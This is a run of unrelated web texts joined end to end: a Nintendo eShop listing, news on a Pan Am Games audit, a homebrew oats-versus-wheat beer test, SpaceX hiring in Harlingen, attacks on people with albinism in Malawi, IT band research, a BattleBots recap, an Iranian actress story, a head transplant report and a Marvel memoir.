Tumblestone (The Quantum Astrophysicists Guild, €24.99 / £19.99) - An action puzzle game that aims to make a big splash in the genre, this one aims to reinvent the match-3 genre while including plenty of content; there's a story mode, local and online multiplayer, an Arcade mode and 'quests', as examples. It seems extremely promising, but we'll see whether it stacks up in a review.
Bit Dungeon+ (Dolores Entertainment, £4.99) - This top-down roguelike features two-player co-op and procedurally generated levels; there are six different level themes, over 40 individual enemies and a horde of massive bosses to defeat. There are also various unlockables to uncover as well as multiple endings. We'll dive into it and let you know what we think.
Dracula's Legacy (Joindots, €7.99 / £5.99) - Although its summary makes bold noises about a character being trapped and trying to escape from monsters, this appears to be a release of a hidden object game previously found on PC. We'll see if it has any life in it with a review.
Hurry Up! Bird Hunter (EnjoyUp Games, €7.99 / £7.19) - As the name suggests, this seems to be a shooting gallery title in which you hunt birds of various types with the Wii Remote. We'll take aim with a review.
JACKPOT 777 (RCMADIAX, €1.49 / £1.39) - We've seen plenty of virtual casino games on the eShop in North America, and now we have an arrival in Europe. This one is 'classic slot machine action at its best', apparently. We'll take a bet and bring you a review.
Wii U eShop Temporary Discounts
Guacamelee! Super Turbo Championship Edition (Drinkbox Studios, €6.99 / £5.99 until 21st July, normally €13.99 / £11.99)
OlliOlli (Curve Digital, €1.00 / £0.80 until 22nd July, normally €9.99 / £7.99)
Lone Survivor: The Director's Cut (Curve Digital, €1.00 / £0.83 until 22nd July, normally €11.99 / £9.99)
Nova-111 (Curve Digital, €1.00 / £0.80 until 22nd July, normally €14.99 / £11.99)
Pumped BMX+ (Curve Digital, €1.00 / £0.80 until 22nd July, normally €9.99 / £7.99)
Stealth Inc 2: A Game of Clones (Curve Digital, €1.00 / £0.80 until 22nd July, normally €9.99 / £7.99)
The Swapper (Curve Digital, €1.00 / £0.80 until 22nd July, normally €14.99 / £11.99)
Thomas Was Alone (Curve Digital, €1.00 / £0.87 until 22nd July, normally €7.99 / £6.99)
Ultratron (Curve Digital, €1.00 / £0.80 until 22nd July, normally €9.99 / £7.99)
Stone Shire (Finger Gun Games, €1.00 / £1.00 untl 11th August, normally €1.99 / £1.79)
Discovery (Noowanda, €3.99 / £2.99 until 28th July, normally €6.99 / £5.99)
Ice Cream Surfer (Dolores Entertainment, €2.50 / £2.00 until 11th August, normally €5.00 / £4.49)
Jones on Fire (Joindots, €2.99 / £2.29 until 28th July, normally €5.99 / £4.59)
Queen's Garden (Joindots, €5.59 / £4.39 until 28th July, normally €6.99 / £5.49)
Wii U Demos
Star Fox Zero: The Battle Begins + Training (Nintendo, free) - A demo that also includes The Battle Begins, the animated short unveiled prior to the game's release.
Star Fox Guard: Special Demo Version (Nintendo, free)
3DS Retail Downloads
Monster Hunter Generations (Capcom, €44.99 / £39.99) - The latest entry in this series finally makes its way to the West, introducing multiple villages and characters from previous releases along with new Hunting Styles and Arts that shake up gameplay. We were very impressed in our Monster Hunter Generations preview, and our review will be with you before its launch. Available from 15th July, download copies come with free "Monster Hunter Generations: The Fated Four" HOME Theme.
Disney Art Academy (Nintendo, €34.99/ £29.99) - As the name makes clear, this latest entry in the stylish drawing series incorporates iconic Disney brands, ranging from Mickey Mouse, to Winnie the Pooh, Frozen and various others. Available from 15th July.
3DS eShop
Journey to Kreisia (KEMCO, €9.99/ £8.99) - This is, unsurprisingly, another retro-styled JRPG that KEMCO is bringing across from its range of releases on iOS and Android. Some of these ports have been better than others, and we'll see whether this tale of world-saving in a fantastical setting is worth the virtual journey.
New Nintendo 3DS Virtual Console
Mega Man 7 (Capcom, €3.99 / £3.59 for users who download Mega Man X (New Nintendo 3DS) using the same NNID until 28th July, otherwise €7.99/ £7.19) - The latest SNES arrival on the New 3DS is a third-party effort, bringing us the first numbered entry in this series that followed the 'classic' NES titles. It adopts big, chunky visuals which somewhat dictate stage design, but we gave this a recommendation in our New 3DS Virtual Console Mega Man 7 review.
Mega Man X (Capcom, €3.99 / £3.59 for users who download Mega Man 7 (New Nintendo 3DS) using the same NNID until 28th July, otherwise €7.99/ £7.19) — This franchise represented quite a departure from the 'Classic' series of games when released, but had such an impact that it spawned plenty of sequels of its own. Don't let any of the iffy later sequels put you off, as this one is the real deal — our Wii U Virtual Console Mega Man X review gave it a strong recommendation.
3DS DLC
Fire Emblem Fates: Witches' Trial (€1.99 / £1.79 or part of Map Pack 1) - A carbon copy of "Fear Mountain" from Fire Emblem Gaiden, or the next best thing, at any rate! It still features an army of witches warping all over the map—you won't be able to tell the difference, guaranteed!
3DS eShop Temporary Discounts
OlliOlli (Curve Digital, €1.00 / £0.80 until 22nd July, normally €9.99 / £7.99)
Titan Attacks (Curve Digital, €1.00 / £0.80 until 22nd July, normally €9.99 / £7.99)
Quell Memento (CIRCLE Entertainment, €2.99 / £2.39 until 4th August, normally €3.99 / £3.19)
Tappingo 2 (CIRCLE Entertainment, €1.99 / £1.59 until 4th August, normally €2.99 / £2.39)
The Legend of Dark Witch 2 (CIRCLE Entertainment, €4.99 / £4.19 until 4th August, normally €6.99 / £5.59)
3D MahJongg (Joindots, €3.99 / £3.59 until 28th July, normally €4.99 / £4.49)
Gardenscapes (Joindots, €5.99 / £4.49 until 28th July, normally €7.99 / £5.99)
Murder on the Titanic (Joindots, €5.35 / £4.00 until 28th July, normally €7.99 / £5.99)
Safari Quest (Joindots, €4.68 / £3.33 until 28th July, normally €6.99 / £4.99)
3DS HOME Themes
Monster Hunter Generations: Glavenus (Capcom, €1.99 / £1.79)
Monster Hunter Generations: Gammoth (Capcom, €1.99 / £1.79)
Monster Hunter Generations: Astalos (Capcom, €1.99 / £1.79)
Monster Hunter Generations: Mizutsune (Capcom, €1.99 / £1.79)
Monster Hunter Generations: Felynes (Capcom, €1.99 / £1.79)
Monster Hunter Generations: Standard Theme (Capcom, €1.99 / £1.79)
That's everything for the European Nintendo Download Update this week - let us know what you're planning to download in the poll and comments below.The summer Pan Am/Parapan Games, whose executives are in line for $5.7 million in bonuses, are going under the financial microscope of Ontario’s auditor general. Liberal members of the public accounts committee joined with opposition members Wednesday in asking Bonnie Lysyk to audit the books for the $2.5-billion sports showcase.
Flotsam from the games, such as these purple bean bags used for seating, are being gradually sold off at the website govdeals.com. ( Brian B. Bettencourt / Toronto Star )
“We need to see the true costs... it’s only reasonable,” said Progressive Conservative MPP Steve Clark (Leeds-Grenville), who proposed the audit. Lysyk said her audit will look at all the financial aspects of the Games, but will not determine whether bonuses should be paid. “Obviously I am disappointed with that,” said Clark, who has led the charge against huge bonuses being paid to Games officials to bring the event in on time and on budget.
Article Continued Below
“It’s infuriating that the government won’t put the freeze on these bonuses until such time as the auditor can do her work. It’s ridiculous.” NDP Leader Andrea Horwath agreed that “people need to know the details” before bonuses are paid. “The bonuses are out of whack... at least base them on some clear evidence, some justifiable numbers,” she said. Cabinet minister Michael Coteau, who is responsible for the Games, said the bonuses are being awarded by the Games board in accordance with executive contracts and performance targets. “For four years we’ve been reporting back,” Coteau said.
More than 50 of the top Pan Am Games brass are to share the bonus pool, with some pocketing up to 100 per cent of their salary, such as TO2015 CEO Saad Rafi, a seconded deputy minister, who will get $428,794. Clark and other opposition critics are suspicious that the Games, including ticket sales, were not the success the Liberals would have people believe.
Article Continued Below
The Games, which included the cost of a village for 7,666 athletes, involved 51 sports at venues in 16 municipalities. Security and transportation costs were not part of the budget but were picked up by the province. “I think she (Lysyk) was pretty clear today as the auditor general that we will get some clarity from the Pan Am Games on revenue and expenditure (along) with some of the other ministries that spent money after the budget was set,” said Clark. “So, I am confident we will get some answers... it will expose some of the actual costs.” The audit is not expected in time for Lysyk’s annual report, expected in early December. More at thestar.com No Olympics, but Tory open to other international events Mayor Tory, the city has spoken — we don’t want the Olympics Affordable housing wait list nearly quadruple number of spaces in Pan Am villageAuthor: Brian Hall
The use of cereal grains other than barley in beer production has been getting more attention lately due to the growing popularity of New England IPA (NEIPA), a style known for its hazy appearance. Of the many unique components involved in brewing NEIPA, the relatively heavy use of adjuncts seems a key contributor to this haziness. It would appear flaked oats has become commonplace among many brewers of NEIPA, though I’ve seen some recipes that include a portion of wheat malt in the grist, either as the sole adjunct or in combination with others. While this usage may increase haziness, many advocates of the style would contend that’s not the intended goal, but that the haze is merely a byproduct of a process targeted at achieving a creamy mouthfeel.
Similar in many respects, such as possessing higher amounts of beta glucan and proteins, flaked oats and wheat malt differ in ways as well, perhaps the most obvious being that flaked oats aren’t malted. Very simply put, the malting process is responsible for developing the enzymes that ultimately convert the starches in grain into fermentable sugar during the mash– whereas flaked oats cannot self-convert, wheat malt can as it possesses diastatic power similar to barley. Another difference is lipid levels with oats containing more than any other cereal grain, which is purported to impact ester concentrations in the finished beer among other things.
My initial interest in comparing flaked oats to wheat malt in a NEIPA was to see if either created a beer that was perceptibly different in aroma, flavor, or mouthfeel. However, there’s been growing discussion of the alleged fragile nature of this style with photos surfacing of beers that have changed color and flavor within days of being packaged. Given the mounting evidence that oxidation is the culprit, there’s been some speculation the rapidity at which it occurs may be a function of the high proportion of flaked oats often used when making NEIPA. Contradicting claims that flaked oats can actually improve the shelf stability of beer, I became even more curious about how it would compare to the same beer made with wheat malt and decided to put it to the test!
| PURPOSE |
To evaluate the differences between a NEIPA brewed using the same proportion of either flaked oats or wheat malt.
| METHODS |
In order to isolate the impact of the variable as much as possible, I designed a recipe with a simple grist a pretty standard NEIPA hop schedule.
Opacity
Recipe Details Batch Size Boil Time IBU SRM Est. OG Est. FG ABV 5.5 gal 60 min 53.3 IBUs 3.4 SRM 1.055 1.014 5.3 % Actuals 1.055 1.012 5.6 % Fermentables Name Amount % Pale Malt (2 Row) US 8 lbs 72.73 Flaked Oats OR Wheat Malt 3 lbs 27.27 Hops Name Amount Time Use Form Alpha % Magnum 10 g 60 min Boil Pellet 12 Citra 32 g 5 min Boil Pellet 12.3 Mandarina Bavaria 32 g 5 min Boil Pellet 9.2 Citra 30 g 20 min Aroma Pellet 12.3 Mandarina Bavaria 30 g 20 min Aroma Pellet 9.2 Citra 70 g 7 days Dry Hop Pellet 12 Mandarina Bavaria 70 g 7 days Dry Hop Pellet 9.2 Citra 32 g 2 days Dry Hop Pellet 12 Mandarina Bavaria 32 g 2 days Dry Hop Pellet 9.2 Yeast Name Lab Attenuation Temperature London Ale III (1318) Wyeast Labs 73% 64°F - 74°F Notes Water Profile: Ca 126 | Mg 0 | Na 0 | SO4 118 | Cl 135 Download Download this recipe's BeerXML file
I made a starter of Wyeast 1318 London Ale III yeast the afternoon prior to brewing.
Later that evening, I ran the full volume of water through my RO filter then adjusted it to my target profile.
I started my brew day by plugging in my HotRod Heat Stick to heat the water for the flaked oats batch to strike temperature. Since this variable would require separate mashes, I delayed the start of the wheat malt batch by 20 minutes.
As the water was heating, I called on my faithful assistant for help weighing out and milling the grains directly into BIAB fabric filters.
Once strike temperature was reached, the bags of milled grain were submersed and gently stirred to homogenize.
A check of mash temperatures showed both hit my intended target.
While waiting for the mashes to finish, I measured out the kettle hop additions for both batches.
When the 60 minute mash rests were complete, the bags were removed and the worts were brought to a boil with hops added as stated in the recipe.
At the end of each 60 minute boil, I quickly chilled the worts to 182°F/83°C and added a charge of hops that I left alone for a 20 minute hop stand.
Once the hop stands were done, I finished chilling the worts to my desired pitching temperature of 64°F/18°C then transferred 5.5 gallons/21 liters of each to separate 6.5 gallon glass carboys.
Refractometer readings at this point showed the wort made with flaked oats had a slightly lower OG than the one made with wheat malt.
With both carboys placed next to each other in an area that maintains a steady 60°F/16°C, I evenly split the yeast starter between them. Both beers were actively fermenting 16 hours later with no observable differences. I added the biotransformation dry hop addition 2 days later when both beers were at high kräusen.
The beers were then moved to an environment controlled to 68°F/20°C and left to continue fermented for 6 more days, at which point I added another large dry hop charge to both. Hydrometer measurements taken 2 days later, 10 since the beers were brewed, indicated both were done fermenting.
I racked equal amounts of each beer to its own CO2 purged keg under light pressure, careful not to transfer too much trub.
The kegs were then placed in my cool keezer where they were allowed to chill overnight before being burst carbonated. After 5 days of cold conditioning, the beers were ready to serve to participants. Similar to my observation of wort color, the wheat malt beer was ever so slightly darker than the one made with flaked oats.
| RESULTS |
A total of 21 people of varying levels of experience participated in this xBmt. Each participant was served 1 sample of the beer made with flaked oats and 2 samples of the one made with wheat malt then asked to identify the sample that was unique. At this sample size, 12 tasters (p<0.05) would have had to correctly identify the flaked oats beer as being different in order to reach statistical significance. In the end, only 7 tasters (p=0.58) accurately identified the unique sample, indicating participants in this xBmt were unable to reliably distinguish a NEIPA made with flaked oats from one made with the same amount of wheat malt.
My Impressions: I’ve always considered flaked oats an essential part of New England IPA thus expecting a night and day difference between these beers, but I was shocked by how similar they were. While I could’ve sworn I perceived a difference in earlier samples, my triangle test performance proved otherwise as I was only correct on 1 out of the 6 attempts. Thankfully, both beers were deliciously hoppy, something I’d been craving for awhile.
|DISCUSSION |
A fairly commonly held idea held among brewers is that beers made with a high proportion of wheat malt tend to have a subtle yet noticeable tangy characteristic to them, not tart like a sour beer, just a slight sharpness not typically found in all barley malt beers. Having experienced this myself, I had little doubt participants in this xBmt would be able to reliably tell apart a NEIPA made with flaked oats from one made with wheat malt. Needless to say, I was legitimately shocked when the results didn’t confirm my expectations and even more so that my performance on multiple triangles, despite being completely aware of the variable, was so poor.
Considering prior xBmt results showing tasters couldn’t reliably distinguish a NEIPA made with flaked oats from one made without any adjunct, I’m more curious than ever about the impact wheat malt has on the flavor of other beer styles it’s commonly used in. Would a Blonde Ale made with 80% wheat malt and 20% Pale malt taste noticeably different than the same beer made with 100% Pale malt? I also wonder if the purported benefits these types of cereal grains are said to have on head retention actually hold up.
With all the talk lately about NEIPA being more sensitive to oxidation than other styles, which some have hypothesized is due to the presence of certain metal ions, namely manganese. Whereas the manganese content in barley is about 1.2 mg per 100 g, wheat contains 3.9 mg per 100 g and oats have an even higher 4.9 mg per 100 g. To see if there was a difference in oxidation effects between the flaked oats and wheat malt beers, I collected samples of each beer in PET bottles once they were ready to serve and placed them in a room temperature environment for observation over 5 days.
I was surprised to observe basically no color change in either beer. For the sake of comparison, I pulled a couple glasses of each beer from the tap as well.
It’s entirely possible that given enough time, at least one of these beers would begin to darken, as they were both only 10 days out from being kegged at the last the comparison. Here’s the real kicker– to test the extreme, I left a sample of the flaked oats beer in an uncovered cup over 4 days and began documenting the changes after 48 hours.
I’ve left many a half full glasses of beer out over the years and never have I witnessed such a drastic change. Wow. Regrettably, I didn’t think to run this test with the wheat malt beer, though it’s certainly something I plan to do in the future. I’ll likely continue using flaked oats when making NEIPA…
If you have thoughts about this xBmt, please feel free to share in the comments section below!
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Like this: Like Loading...The Harlingen Economic Development Corporation is one step closer of getting an incentive passed that will bring jobs to Harlingen residents in SpaceX.
The incentive package is worth $450,000.
The EDC has been working on this package for the past year.
This incentive would make Harlingen residents 10 percent of all SpaceX new hires.
Those positions would need to be open for the next five years.
Salaries averaging $55,000 a year.
The incentive will be active for the next three years.
Right now, SpaceX is planning on hiring between 200 to 300 employees. Out of those employees between 20 to 30 will be Harlingen residents.
"It can be anything from a construction job in terms of a launch pad or it could be a high tech job at mission control, Harlingen EDC Chief Executive Officer Raudel Garza said. It could be somebody that is working actually on the field system on the rockets or the electronic systems; the guidance system on those rockets. So it TMs any job that SpaceX brings."
Garza said that SpaceX suppliers will also be hiring.
In Texas, SpaceX has 250 suppliers.
Garza adds that SpaceX coming to the Rio Grande Valley will help other Harlingen businesses.
Harlingen is located only 30 miles away from the launch site near Boca Chica Beach.
"Many of them are going to stay in hotels in Harlingen, they will be flying in through Valley International Airport here in Harlingen, Garza said. They will be staying in our restaurants and shopping in our stores, so that TMs some of the benefits on the tourism angle."
Now, it is down to the five Harlingen City Commissioners approving the incentive package at their next meeting on Wednesday.
"I think everyone is very supportive of this project, everybody is excited about SpaceX, Harlingen Mayor Chris Boswell said. Everybody is excited about the idea of an aerospace cluster in Cameron County."
Harlingen is already the home of United Launch Alliance.
An airspace industry that is similar to SpaceX.Zihada Msembo of the Tanzania Albino Society speaks to an interviewer in Dar es Salaam. (Reuters)
Albinos in Malawi have long faced the threat of abduction, attacks and even death, with criminals seeking to sell albino body parts for witchcraft. Now, a fresh wave of violence has prompted a new government order: shoot anyone caught attacking albinos.
“Shoot every criminal who is violent when caught red-handed abducting people with albinism,” Malawi’s inspector general of police, Lexen Kachama, said, Reuters news agency reported. “We cannot just watch while our friends with albinism are being killed like animals every day.”
A surge of recent attacks against albinos throughout several East African countries has sparked international concern, with at least 15 albinos having been kidnapped, wounded or killed in the past six months, according to the United Nations.
[Where albino body parts fetch big money, albinos still get butchered]
“These attacks are often stunningly vicious, with children in particular being targeted,” U.N. human rights chief Zeid Ra’ad Al Hussein said last month. “As a result, many people with albinism are living in abject fear. Some no longer dare to go outside, and children with albinism have stopped attending school because of the recent spate of assaults, murders and kidnappings.”
Superstitions and myths about people with albinism have fueled the violence — and the market: Body parts used in rituals can fetch a high price.
“A complete set of albino body parts — including all four limbs, genitals, ears, tongue and nose” can command as much as $75,000, a 2009 Red Cross report found.
Among the more common and harmful myths in Africa is that potions made with albinos’ body parts bring luck, according to a 2013 U.N. report.
“They are regarded as ghosts and not human beings who can be wiped off the global map,” U.N. human rights experts said in 2013.
At least six people with albinism have been attacked in Malawi during the first 10 weeks of this year, according to the United Nations. In January alone, a 9-year-old girl was abducted while she slept; she’s thought to be dead. A 2-year-old girl also was kidnapped and hasn’t been seen since.
In March, two men in Malawi abducted a 14-year-old girl, who managed to escape, the U.N. reports. The next night, a 2-year-old boy was kidnapped but reunited with his mother after she screamed for help.
[Seeking refuge for young persons with albinism in Tanzania]
Roaming gangs of men hunting for albinos have been reported in southern Malawi. In one case, a man allegedly was offered $6,500 for his niece’s body.
“We do realize that these people are ruthless, have no mercy and, therefore, they need to be treated just like that,” Kachama, the inspector general, said when explaining why he ordered police to use guns.
Kachama said he doesn’t want to “hear of a police officer chasing dangerous criminals, especially those abducting albinos, carrying tear gas or any other soft weapon,” AFP reported. “That is why I am ordering the police to use weapons in proportion to the gravity of the offence. We need to be secure from criminals.”
In March, the 47-member U.N. Human Rights Council created a watchdog position to investigate attacks on albinos, which are also on the rise in Tanzania.
At least eight people have been attacked in that country since August. In Tanzania, an estimated one in 1,400 people has albinism, a World Health Organization study found; worldwide, about one in 20,000 people are albino. In a bid to stop the attacks, Tanzania recently banned witch doctors.
[Tanzania bans witch doctors after scores of albino people are killed in ritual slaughter]
Some religious leaders voiced concerns that the ban could inadvertently affect traditional healers. “A lot of people, including senior politicians, visit these witch doctors,” the Rev. Leonard Mtaita, a retired general secretary of the Christian Council in Tanzania, said at the time. “I think the best approach would be to educate the communities about these issues.”
Upcoming Tanzanian elections have been cited as one possible reason for the increase in attacks, with politicians in the country consulting witch doctors and engaging in rituals that use the body parts of albino people.
As for Malawi’s shoot-attackers-on-the-spot policy, critics worry that the approach won’t actually stem the tide of violence as criminals may risk getting shot if the potential reward for body parts remains high. And while advocates want people with albinism to have protection, they want to ensure victims have justice, as well.
“We have to remember that all those goons caught red-handed … are small fish — agents and executors of the big sharks out there,” Vicky Ntetema, executive director of Canadian nonprofit Under the Same Sun, told Reuters. “Killing them on the spot is not going to help us catch the inducers, those with money to hire these gangs who continue to terrorize innocent people with albinism and their families.”For many people, it’s the source of a nagging — and painful — injury, but for Carolyn Eng, the IT band is an intriguing mystery, one she may be close to solving.
A former Ph.D. student in Harvard’s Graduate School of Arts and Sciences, Eng is the first author of two studies that examine how the iliotibial band stores and releases elastic energy to make walking and running more efficient. The studies — co-authored by Daniel Lieberman, the Edwin M. Lerner II Professor of Biological Sciences and chair of the Department of Human Evolutionary Biology; Andrew Biewener, the Charles P. Lyman Professor of Biology; and Allison Arnold-Rife, a research associate in Biewener’s lab — are described in new papers in the Journal of Experimental Biology and the Journal of Biomechanics.
“We found that the human IT band has the capacity to store 15 to 20 times more elastic energy per body mass than its much-less-developed precursor structure in a chimp,” Eng said. “We looked at the IT band’s capacity to store energy during running, and we found its energy-storage capacity is substantially greater during running than walking, and that’s partly because running is a much springier gait. We don’t know whether the IT band evolved for running or walking; it could have evolved for walking and later evolved to play a larger role in running.”
The IT band runs along the outside of the thigh, from just above the hip to just below the knee, and is made up of fascia, an elastic connective tissue found throughout the body. Though often compared to tendons — the two can serve similar functions — fascia is composed of large sheets, while tendons are more rope-like.
Fascia is “a sheath that encloses muscles, connects muscles to bone and … compartmentalizes muscles that serve a similar function, and the IT band is the largest piece of fascia in the human body,” Eng said.
The notion that the IT band acts as a spring to aid in locomotion runs counter to the decades-old belief that its primary function is to stabilize the hip during walking.
“Unlike many clinicians and anatomists, we use the lens of evolution to think about how humans are adapted not just for walking, but also for running, so we look at the IT band from a totally different perspective,” Lieberman said. “When we looked at the difference between a chimp and a human, we saw this big elastic band, and the immediate idea that leapt out at us was that the IT band looked like another elastic structure, like the Achilles tendon, that might be important in saving energy during locomotion, especially running.”
The findings, Biewener said, “will have key importance for basic science and clinical studies that seek to integrate the role of this key fascial structure into programs of sports-exercise training and gait rehabilitation.”
To understand what role the IT band plays in locomotion, the researchers developed a computer model to estimate how much it stretched ― and by extension, how much energy it stored — during walking and running.
Computer simulation of a human leg running Credit: Carolyn Eng
One part of the IT band stretches as the limb swings backward, Eng explained, storing elastic energy. That stored energy is then released as the leg swings forward during a stride, potentially resulting in energy savings.
“It’s like recycling energy,” Eng said. “Replacing muscles with these passive rubber bands makes moving more economical. There are a lot of unique features in human limbs — like long legs and large joints — that are adaptations for bipedal locomotion, and the IT band just stood out as something that could potentially play a role in making running and possibly even walking more economical.”
Building such complex computer models was no easy feat, and adding to the complexity, Eng said, was the fact that precise descriptions of the IT band — which muscles attached to it and where — were all but non-existent.
“It’s difficult to understand how muscles and connective tissues function in the human body,” Eng said. “To get at how they function during movement, you need sensors implanted in the muscles or tendons, and that’s difficult to do in humans.”
To ensure the model was accurate, Eng and colleagues relied on cadavers.
Using a custom-built frame, Eng manipulated five human and five chimpanzee cadaver limbs through a series of movements, and measured how much the IT band changed length for a given shift in joint angle. She used the measurements to calculate the moment arm of the IT band about the hip and knee. The moment arm describes the location of the IT band relative to the joint, and plays an important role in determining how much the IT band strains and how much torque it transmits during locomotion. She then repeated the process for different parts of the IT band, and for each plane of movement at the hip and knee.
“These measurements were vital for specifying the anatomical locations of the muscles and the IT band on the model,” Eng said. “The geometry of the model was very important, so we needed to place muscles very accurately on the body.”
Going forward, the researchers hope to expand their investigation, possibly to include other primate species that are adapted for running, and to explore how better understanding of the IT band might help athletes avoid or treat injury.
“IT band syndrome is a painful overuse injury that plagues many runners and cyclists, but its underlying cause is unknown,” said Arnold-Rife. “One of our next steps, using the computer models that Carolyn has |
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robot and throws it on its back once again over near the wall.
This astronaut guy is shredding all kinds of ass around the arena with a robot that looks like it cost about a third of what its opponents have invested into their robots. For all the engineering that went into Skorpios the robot is dead in the water by virtue of its own bad design while the once legendary VD, as Bad Kitty, is being manhandled by what I can only describe as “Super Punjar”. Black Ice is whipping that pussy so bad that this fight is pretty much hardcore pornography by this point. Bad Kitty starts smoking near one of the screws and is finally KO’ed while Black Ice takes a well earned victory spin in the center of the arena. People just don’t do that anymore with their robots, Black Ice really is a relic of another era. Godspeed you crazy bastard.
WINNER: Black Ice, KO
Four rumbles, four winners, and 48 total robots that have qualified for the second ABC season of BattleBots (their seventh season overall). From here, the field of 48 will be whittled down to just 24, and 8 losing robots from the qualification round will return as wildcards. Last season I gave my overall review of the new show after its first episode and I pointed out some things that were a bit wishy-washy. I still don’t like that there’s three people hosting the show but for the most part BattleBots’ second ABC season has improved upon everything from the original reboot. I am so happy that this sport is making a comeback as strong as this one. If BattleBots was able to swing five seasons on fucking Comedy Central back in the day then I know with the resources of ABC backing it this time around BattleBots has the potential to be on TV for a very long time. American Idol got fifteen seasons, I know for a fact we can do better than that shit.
Thank you for coming back to BattleBots Update now that season two is officially underway! It’s not easy churning out near-7,000 word articles on a whim like this, but the support I get from the community makes it all worth it. The carnage is real, the destruction is phenomenal, and the tournament itself is as exciting as it is surprising. There are a lot of moments to come that will catch you off guard and a lot of new robots that will prove themselves in the arena. Take it from me, I was there, you won’t want to miss the rest of this event! Like Pretty Dress Lady said, season two continues June 23rd on ABC. Set your DVR, and if you’re still somehow living in 2003 set your VCR instead. Set the toaster. Fix the clock on the microwave. Update your antivirus. Follow BattleBots Update on Facebook. Do all that shit.
Also, the season premiere is a two hour episode. That’s going to be literal hell to write. God damn.
(Join us next week when we double back to the Comedy Central seasons and continue with season 1!)
– DracophileAn Iranian actress has been banned from acting and branded ‘immoral’ after she posted pictures of herself online without her hijab.
Sadaf Taherian put the pictures of herself on her Facebook and Instagram pages in protest against strict laws in Iran that decree women cover their heads.
But the pictures soon drew the attention of the Iranian ministry of culture.
She’s since had to flee to nearby Dubai after facing public abuse over the pictures, with officials even reportedly doctoring them, Photoshopping her hijab back on.
It’s been law since 1979 that Iranian women cover their hair in public.
Speaking on Tablet, a TV show on the Voice of America’s Persian language channel, she said: “I was nervous and worried about how people would react to my photos.
“I did not expect this from the people of Iran, from my own culture – to hear so many insults.
“I can only feel sorry for their reaction and I have nothing else to say. When I wore the hijab on screen I did it for the love of my career and the demand of the film. I want to live in a place and live the way that makes me happy.”.”
She also spoke about instances of sexual harassment that she had experienced while working as an actress.
“It bothered me when I was acting and the director was thinking about me in any way except acting,” she said.
“He was only waiting for the scene to finish so he could whisper in my ear again
“They would put five or six contracts in front of me with only one condition: One month – to be with them.”
She now hopes to continue acting in Dubai.
Read more:
- Ghostbusters backlash bummed me out, says Kristen Wiig
- The most awkward Daniel Craig interview ever?
- Jem and the Holograms director got death threats
Image credits: InstagramBy By Tim Sandle Sep 11, 2016 in Science The idea of a human head transplant may seem like science fiction. However, the proof-of-concept study is edging closer to reality, with one surgeon claiming that he plans to undertake the procedure next year. This Man Will Reportedly Undergo a Head Transplanthttps://t.co/iGbS1aeBAo — KING Kylie (@KIngKyIieJener) September 2, 2016 Pushing forward his idea, Canavero has now proposed a two-part procedure. He describes the two procedures as: HEAVEN, or head anastomosis venture; and Gemini, or the subsequent spinal cord fusion. Canavero has described how the procedure According Apparently the recipient of the first transplant has been identified. This is Valery Spiridonov, a 31-year-old Russian program manager who suffers from the rare muscular atrophy disorder Werdnig-Hoffman disease. The chance of success has been stated by Canavero While head transplants have been performed on dogs and monkeys, the animals tested were unable to move following the procedure and died shortly afterwards. With the planned study, In 2013, surgeon Sergio Canavero surprised the medical field by stating his ambition was to perform a human head transplant. This was seen as something near impossible at the time. A head transplant is a surgical operation which involves the grafting of one organism's head onto the body of another. Head transplantation involves decapitating the patient.Pushing forward his idea, Canavero has now proposed a two-part procedure. He describes the two procedures as: HEAVEN, or head anastomosis venture; and Gemini, or the subsequent spinal cord fusion.Canavero has described how the procedure might work for the journal Surgical Neurology International. Following this, Canavero has presented the concept to the American Academy of Neurological and Orthopaedic Surgeon’s 39th annual conference.According to the website Gineers Now, the first head transplant will take around 36 hours to complete and it will require a surgical team of 150 people, and at a cost of $20 million.Apparently the recipient of the first transplant has been identified. This is Valery Spiridonov, a 31-year-old Russian program manager who suffers from the rare muscular atrophy disorder Werdnig-Hoffman disease. The chance of success has been stated by Canavero as around 90 percent. However, the idea of a head transplant has proved controversial with the medical establishment. Canavero has been criticised on ethical grounds and also by those who think it simply will not work.While head transplants have been performed on dogs and monkeys, the animals tested were unable to move following the procedure and died shortly afterwards. With the planned study, The Daily Telegraph quotes from various doctors who have expressed serious doubts about the likelihood of Mr Spiridinov’s brain remaining functional by the time the surgery is complete. More about head transplant, Transplant, Sergio Canavero More news from head transplant Transplant Sergio CanaveroRoger Stern started working at Marvel in December of 1975, two weeks before I did on the first working day of January 1976.
Rog came from Indiana. He had previously published or co-published a slick fanzine called CPL (Contemporary Pictoral Literature, I think.) that had been devoted to Charlton Comics. He had been hired as an assistant editor. Among his first duties, I think, was editing letter columns.
(NOTE: Letter columns were commonly put together by the writers of the individual books, who would sort through the fan mail, select letters to be printed and write the answers or comments. A few lettercols were written by someone other than the book’s writer. If that person couldn’t or didn’t want to do his or her own letter column, a staffer or other freelancer would do it. For instance, lettercols for the Kirby books were done by someone other than Jack. Writing a lettercol in those days paid $25, I think.)
I had been hired as associate editor. Rog and I both sat in the big editorial room outside the Editor in Chief’s office, which took up a corner of that room. We were the two new guys. We became friends, and remain friends…at least until he reads this.
Rog wanted to write comics. He hadn’t done any writing for DC or Marvel at that point. I don’t know whether he had any published work for Charlton. Anyway, being his buddy, his pal, I wanted to help.
(ASIDE: If Rog is reading this, right now he’s wondering “Where is that big lug going with this?” And by the way, I haven’t checked any of this with him. Rog, if you wish to rebut or correct anything, have at it. Me. Whatever.)
When I took the associate editor position, I still owed editor Murray Boltinoff at DC three Legion of Super-Heroes scripts. Editor in Chief Marv, who hired me, gave me the okay to finish that work on my own time. I had “springboards” approved by Murray, but not detailed plots. I invited Rog to kibitz on those plots and scripts. Thought maybe I could teach the guy a trick or two.
Somewhere along the way, I rented a room from Dave Cockrum who had a huge, three bedroom apartment out in Queens. I remember Rog, Dave and me hanging around discussing the stories between dinner at the Brew Burger and a pie-run to the Silver Moon Diner.
Anyway, Rog was more than a kibitzer on those LSH stories. He made some cool contributions. He’s a smart guy. Lots of ideas.
Even before we worked on those scripts, I had been coaching Rog, explaining how to approach writing a story. All through the process, I coached him, and after those scripts were done, I coached him. I talked about Aristotelean principles, the underlying philosophies, how to think about it…the linguistic roots of story architecture, the visual-verbal language, point of view, pacing, themes, counter-themes, subplots, insight, establishing characters, character development, dialogue…blah, blah, blah.
Rog listened eagerly. Or maybe he was just humoring me.
Anyway, his chance finally came. We needed someone to dialogue an Omega story plotted by Steve Gerber and drawn, I’m guessing, by Jim Mooney. Marv let Rog take a crack.
Rog delivered. I edited the script. It was…how shall I say this? Not good.
I touched it up some, as best I could with the time I had.
